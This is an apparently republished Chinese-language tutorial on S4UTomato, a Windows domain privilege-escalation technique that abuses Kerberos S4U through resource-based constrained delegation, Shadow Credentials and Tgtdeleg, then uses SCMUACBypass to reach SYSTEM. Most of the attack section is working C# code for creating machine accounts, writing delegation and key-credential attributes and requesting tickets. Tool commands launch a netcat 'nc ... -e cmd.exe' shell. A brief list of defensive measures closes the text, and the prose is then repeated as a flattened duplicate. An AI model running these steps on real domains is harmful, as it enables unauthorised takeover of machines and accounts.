S4UTomato - Escalate Service Account To LocalSystem via Kerberos
字数 1602 2025-08-06 08:35:09

S4UTomato 提权技术详解

概述

S4UTomato 是一种利用 Kerberos 协议中的 S4U (Service for User) 扩展,将服务账户权限提升至本地系统权限的技术。该技术适用于域环境中以 Windows 服务账户或 Microsoft 虚拟账户身份运行代码的情况。

技术背景

传统 "Potato" 提权技术

传统的 "Potato" 系列提权技术通过以下方式工作:

  1. 利用 COM 接口特性欺骗 NT AUTHORITY\SYSTEM 账户连接攻击者控制的 RPC 服务器
  2. 通过中间人(NTLM Relay)攻击
  3. 为 NT AUTHORITY\SYSTEM 账户生成本地访问令牌
  4. 窃取令牌并使用 CreateProcessWithToken() 或 CreateProcessAsUser() 创建新进程

Kerberos 环境下的挑战

在域环境中,SYSTEM、NT AUTHORITY\NETWORK SERVICE 和 Microsoft 虚拟账户都使用计算机账户进行身份验证。S4UTomato 通过滥用 S4U 扩展获取域管理员账户的服务票据,然后使用 SCMUACBypass 创建系统服务来获取 SYSTEM 权限。

Kerberos S4U 扩展

S4U2self (Service for User to Self)

允许服务代表用户获取其自身的 Kerberos 服务票证,用于:

  • 请求服务自己的信息
  • 服务机器的本地访问控制
  • 模拟用户

S4U2proxy (Service for User to Proxy)

使服务能够代表用户获取第二个后端服务的服务票证(约束委派)

基于资源的约束委派(RBCD)

原理

RBCD 是 Windows Server 2012 引入的功能:

  • 不需要域管理员设置
  • 服务资源自身决定谁可以进行委派
  • 通过设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性实现

实现步骤

  1. 创建新的计算机账户
LdapDirectoryIdentifier identifier = new LdapDirectoryIdentifier(domainController, port);
LdapConnection connection = new LdapConnection(identifier);

AddRequest addRequest = new AddRequest(NewComputersDN, new DirectoryAttribute[] {
    new DirectoryAttribute("DnsHostName", computerName + "." + domain),
    new DirectoryAttribute("SamAccountName", computerName + "$"),
    new DirectoryAttribute("userAccountControl", "4096"),
    new DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + computerPassword + "\"")),
    new DirectoryAttribute("objectClass", "Computer"),
    new DirectoryAttribute("ServicePrincipalName", 
        "HOST/" + computerName + "." + domain,
        "RestrictedKrbHost/" + computerName + "." + domain,
        "HOST/" + computerName,
        "RestrictedKrbHost/" + computerName)
});
  1. 获取新计算机账户的 SID 并设置 RBCD
string nTSecurityDescriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + securityIdentifier + ")";
RawSecurityDescriptor rawSecurityIdentifier = new RawSecurityDescriptor(nTSecurityDescriptor);
byte[] descriptorBuffer = new byte[rawSecurityIdentifier.BinaryLength];
rawSecurityIdentifier.GetBinaryForm(descriptorBuffer, 0);
ModifyRequest modifyRequest = new ModifyRequest(TargetComputerDN, 
    DirectoryAttributeOperation.Replace, 
    "msDS-AllowedToActOnBehalfOfOtherIdentity", 
    descriptorBuffer);
  1. 执行 S4U 过程获取服务票据
S4U.Execute(computerName, domain, computerHash, encType, targetUser, targetSPN, ptt: true, domainController: domainController);

Shadow Credentials 技术

原理

通过修改目标账户的 msDS-KeyCredentialLink 属性,获得用于检索 NTLM 哈希值和请求 TGT 票据的能力。

PKINIT 协议

PKINIT 是 Kerberos 的扩展协议,允许在身份验证阶段使用数字证书。有两种密钥交换方法:

  1. Diffie-Hellman Key Delivery
  2. Public Key Encryption Key Delivery

实现步骤

  1. 生成自签名证书
private static X509Certificate2 GenerateSelfSignedCert(string cn) {
    CspParameters csp = new CspParameters(24, "Microsoft Enhanced RSA and AES Cryptographic Provider", Guid.NewGuid().ToString());
    csp.Flags = CspProviderFlags.UseMachineKeyStore;
    RSA rsa = new RSACryptoServiceProvider(2048, csp);
    CertificateRequest req = new CertificateRequest(String.Format("cn={0}", cn), rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
    X509Certificate2 cert = req.CreateSelfSigned(DateTimeOffset.Now, DateTimeOffset.Now.AddYears(1));
    return cert;
}
  1. 创建 Key Credential 并更新属性
X509Certificate2 cert = GenerateSelfSignedCert(targetComputer);
Guid guid = Guid.NewGuid();
KeyCredential keyCredential = new KeyCredential(cert, guid, targetObject.Properties["distinguishedName"][0].ToString(), DateTime.Now);

targetObject.Properties["msDS-KeyCredentialLink"].Add(keyCredential.ToDNWithBinary());
targetObject.CommitChanges();
  1. 请求 TGT 并执行 S4U
byte[] certBytes = cert.Export(X509ContentType.Pfx, password);
string certString = Convert.ToBase64String(certBytes);

byte[] byteTgt = Ask.TGT(targetComputer, domain, base64Certificate, password, encType, "", ptt: true, domainController, luid, true, getCredentials: true);

KRB_CRED kirbi = new KRB_CRED(byteTgt);
S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, null, null, null, self, false, false, keyString, encType);

Tgtdeleg 技术

原理

滥用 Kerberos GSS-API 获取当前用户的 TGT,无需提升权限。通过:

  1. 使用 AcquireCredentialsHandle 获取 Kerberos 安全凭据句柄
  2. 使用 ISC_REQ_DELEGATE 标志调用 InitializeSecurityContext
  3. 从 GSS-API 输出中提取 KRB_CRED

实现步骤

  1. 请求伪委派 TGT
byte[] blah = LSA.RequestFakeDelegTicket();
  1. 执行 S4U 过程
KRB_CRED kirbi = new KRB_CRED(blah);
S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, null, null, null, self, false, false, keyString, encType);

最终提权

通过 SCMUACBypass 访问 Service Control Manager (SCM) 创建系统服务获取 SYSTEM 权限:

S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

或分步执行:

# 先通过 Tgtdeleg 检索 TGT
S4UTomato.exe tgtdeleg

# 再执行 SCMUACBypass 获取 SYSTEM 权限
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"

防御措施

  1. 限制计算机账户对自身属性的修改权限
  2. 监控 msDS-AllowedToActOnBehalfOfOtherIdentity 和 msDS-KeyCredentialLink 属性的异常修改
  3. 实施足够的权限分离
  4. 定期审计域内计算机账户的权限设置
  5. 启用 Kerberos 认证的详细日志记录
S4UTomato 提权技术详解 概述 S4UTomato 是一种利用 Kerberos 协议中的 S4U (Service for User) 扩展,将服务账户权限提升至本地系统权限的技术。该技术适用于域环境中以 Windows 服务账户或 Microsoft 虚拟账户身份运行代码的情况。 技术背景 传统 "Potato" 提权技术 传统的 "Potato" 系列提权技术通过以下方式工作: 利用 COM 接口特性欺骗 NT AUTHORITY\SYSTEM 账户连接攻击者控制的 RPC 服务器 通过中间人(NTLM Relay)攻击 为 NT AUTHORITY\SYSTEM 账户生成本地访问令牌 窃取令牌并使用 CreateProcessWithToken() 或 CreateProcessAsUser() 创建新进程 Kerberos 环境下的挑战 在域环境中,SYSTEM、NT AUTHORITY\NETWORK SERVICE 和 Microsoft 虚拟账户都使用计算机账户进行身份验证。S4UTomato 通过滥用 S4U 扩展获取域管理员账户的服务票据,然后使用 SCMUACBypass 创建系统服务来获取 SYSTEM 权限。 Kerberos S4U 扩展 S4U2self (Service for User to Self) 允许服务代表用户获取其自身的 Kerberos 服务票证,用于: 请求服务自己的信息 服务机器的本地访问控制 模拟用户 S4U2proxy (Service for User to Proxy) 使服务能够代表用户获取第二个后端服务的服务票证(约束委派) 基于资源的约束委派(RBCD) 原理 RBCD 是 Windows Server 2012 引入的功能: 不需要域管理员设置 服务资源自身决定谁可以进行委派 通过设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性实现 实现步骤 创建新的计算机账户 获取新计算机账户的 SID 并设置 RBCD 执行 S4U 过程获取服务票据 Shadow Credentials 技术 原理 通过修改目标账户的 msDS-KeyCredentialLink 属性,获得用于检索 NTLM 哈希值和请求 TGT 票据的能力。 PKINIT 协议 PKINIT 是 Kerberos 的扩展协议,允许在身份验证阶段使用数字证书。有两种密钥交换方法: Diffie-Hellman Key Delivery Public Key Encryption Key Delivery 实现步骤 生成自签名证书 创建 Key Credential 并更新属性 请求 TGT 并执行 S4U Tgtdeleg 技术 原理 滥用 Kerberos GSS-API 获取当前用户的 TGT,无需提升权限。通过: 使用 AcquireCredentialsHandle 获取 Kerberos 安全凭据句柄 使用 ISC_ REQ_ DELEGATE 标志调用 InitializeSecurityContext 从 GSS-API 输出中提取 KRB_ CRED 实现步骤 请求伪委派 TGT 执行 S4U 过程 最终提权 通过 SCMUACBypass 访问 Service Control Manager (SCM) 创建系统服务获取 SYSTEM 权限: 或 或分步执行: 防御措施 限制计算机账户对自身属性的修改权限 监控 msDS-AllowedToActOnBehalfOfOtherIdentity 和 msDS-KeyCredentialLink 属性的异常修改 实施足够的权限分离 定期审计域内计算机账户的权限设置 启用 Kerberos 认证的详细日志记录